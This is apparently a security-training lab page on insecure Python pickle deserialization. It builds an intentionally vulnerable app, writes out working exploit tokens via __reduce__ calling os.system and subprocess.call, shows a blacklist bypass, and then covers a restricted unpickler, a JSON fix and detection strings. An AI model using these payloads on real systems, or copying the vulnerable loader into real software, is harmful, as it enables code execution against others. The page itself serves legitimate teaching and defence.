Operator On The Wire
← Back to Knowledge Base
OOTW / Chapter II - Local / 01. Applications / 02. Deserialization Attacks

Example

This lab demonstrates insecure deserialization with Python pickle.

We use Python because the primitive is clear: pickle.loads() can rebuild objects, and object reconstruction can call attacker-chosen behavior.

This is a local application lab. It does not require a web server.


Setup

Use a Linux VM or WSL.

Create a working directory:

mkdir -p ~/deserialization-lab
cd ~/deserialization-lab

Create the vulnerable application:

cat > app.py <<'EOF'
#!/usr/bin/env python3
import base64
import json
import pickle
import sys
from dataclasses import dataclass


@dataclass
class Session:
    username: str
    role: str


def decode_token(token):
    return base64.urlsafe_b64decode(token.encode())


def encode_token(data):
    return base64.urlsafe_b64encode(data).decode()


def load_basic(token):
    raw = decode_token(token)
    return pickle.loads(raw)


def load_blacklist(token):
    raw = decode_token(token)

    if b"os" in raw or b"system" in raw:
        raise ValueError("blocked by blacklist")

    return pickle.loads(raw)


class RestrictedUnpickler(pickle.Unpickler):
    ALLOWED = {
        ("__main__", "Session"),
        ("builtins", "str"),
    }

    def find_class(self, module, name):
        if (module, name) in self.ALLOWED:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"blocked class: {module}.{name}")


def load_better(token):
    import io

    raw = decode_token(token)
    return RestrictedUnpickler(io.BytesIO(raw)).load()


def load_fixed(token):
    raw = decode_token(token)
    data = json.loads(raw.decode())

    if not isinstance(data, dict):
        raise ValueError("state must be an object")

    username = data.get("username")
    role = data.get("role")

    if not isinstance(username, str):
        raise ValueError("username must be a string")

    if role not in {"user", "operator"}:
        raise ValueError("invalid role")

    return Session(username=username, role=role)


LOADERS = {
    "basic": load_basic,
    "blacklist": load_blacklist,
    "better": load_better,
    "fixed": load_fixed,
}


def print_session(session):
    print(f"username: {session.username}")
    print(f"role:     {session.role}")


def main():
    if len(sys.argv) != 3:
        print(f"usage: {sys.argv[0]} <basic|blacklist|better|fixed> <token>")
        raise SystemExit(1)

    stage = sys.argv[1]
    token = sys.argv[2]
    loader = LOADERS.get(stage)

    if loader is None:
        raise SystemExit("unknown stage")

    session = loader(token)
    print_session(session)


if __name__ == "__main__":
    main()
EOF

chmod +x app.py

The application expects a base64 token.

In the vulnerable routes, the token contains a pickle object.

In the fixed route, the token contains JSON data.


Create A Normal Token

Create a normal pickle token:

python3 - <<'PY'
import base64
import pickle
from dataclasses import dataclass

@dataclass
class Session:
    username: str
    role: str

token = base64.urlsafe_b64encode(
    pickle.dumps(Session("operator", "user"))
).decode()

print(token)
PY

Run the application:

TOKEN="PASTE_TOKEN_HERE"
python3 app.py basic "$TOKEN"

Expected:

username: operator
role:     user

This proves normal deserialization works.


Basic Vulnerability

The vulnerable code is:

raw = decode_token(token)
return pickle.loads(raw)

pickle.loads() is the sink.

Create a malicious pickle token that runs a harmless local command:

python3 - <<'PY'
import base64
import os
import pickle


class Exploit:
    def __reduce__(self):
        return (os.system, ("id",))


token = base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode()
print(token)
PY

Run it:

TOKEN="PASTE_TOKEN_HERE"
python3 app.py basic "$TOKEN"

Expected:

uid=...

The program may then crash with an attribute error because os.system() returns an integer instead of a Session object. That is fine. The command already executed during deserialization.

The key lesson:

Code ran before the application received a valid Session object.

Basic Protection - Weak Blacklist

The weak protection blocks two byte strings:

if b"os" in raw or b"system" in raw:
    raise ValueError("blocked by blacklist")

This blocks the first exploit because the pickle references posix.system or os.system behavior.

Test:

python3 app.py blacklist "$TOKEN"

Expected:

blocked by blacklist

But the blacklist does not solve deserialization. We can use a different callable.

Create a bypass token using subprocess.call():

python3 - <<'PY'
import base64
import pickle
import subprocess


class Exploit:
    def __reduce__(self):
        return (subprocess.call, (["id"],))


token = base64.urlsafe_b64encode(pickle.dumps(Exploit())).decode()
print(token)
PY

Run:

TOKEN="PASTE_BYPASS_TOKEN_HERE"
python3 app.py blacklist "$TOKEN"

Expected:

uid=...

The program may then crash with an attribute error because subprocess.call(["id"]) returns an integer instead of a Session object. That is fine. The command already executed during deserialization.

The blacklist blocked one spelling, not the primitive.


Better Protection - Restricted Unpickler

The better version restricts which classes can be loaded:

class RestrictedUnpickler(pickle.Unpickler):
    ALLOWED = {
        ("__main__", "Session"),
        ("builtins", "str"),
    }

    def find_class(self, module, name):
        if (module, name) in self.ALLOWED:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"blocked class: {module}.{name}")

Run the malicious token:

python3 app.py better "$TOKEN"

Expected:

blocked class: ...

This is better because it blocks unexpected classes and callables.

It is still not ideal for untrusted input. The application is still using an object-capable format. The safer design is to parse data, validate it, and construct the object manually.


Fixed Version

The fixed version uses JSON and validates the data:

data = json.loads(raw.decode())

username = data.get("username")
role = data.get("role")

if role not in {"user", "operator"}:
    raise ValueError("invalid role")

return Session(username=username, role=role)

Create a valid fixed token:

python3 - <<'PY'
import base64
import json

data = {"username": "operator", "role": "user"}
token = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
print(token)
PY

Run:

TOKEN="PASTE_JSON_TOKEN_HERE"
python3 app.py fixed "$TOKEN"

Expected:

username: operator
role:     user

Try to become admin:

python3 - <<'PY'
import base64
import json

data = {"username": "operator", "role": "admin"}
token = base64.urlsafe_b64encode(json.dumps(data).encode()).decode()
print(token)
PY

Run:

TOKEN="PASTE_ADMIN_TOKEN_HERE"
python3 app.py fixed "$TOKEN"

Expected:

invalid role

The fixed version removes object deserialization from the trust boundary.


What This Proves

The vulnerable path:

attacker token
  -> base64 decode
  -> pickle.loads()
  -> object reconstruction
  -> __reduce__ chooses a callable
  -> command runs

The fixed path:

attacker token
  -> base64 decode
  -> json.loads()
  -> schema checks
  -> manual Session construction

The difference is not base64. Base64 is only encoding.

The difference is whether the input can describe behavior.


Detection

Useful signals include:

  • Base64 blobs that decode to binary serialized data.
  • Python pickle protocol markers.
  • Java serialized streams beginning with ac ed 00 05.
  • PHP serialized object markers such as O:.
  • Unexpected class names in deserialization errors.
  • Deserialization failures after token tampering.
  • Local commands or child processes spawned by application parsers.
  • Tokens that produce side effects before validation errors.

For Python specifically, suspicious pickle-related strings include:

__reduce__
subprocess
posix
system
call
GLOBAL
REDUCE

Detection is not the fix. It shows where object-capable parsers are exposed to attacker-controlled data.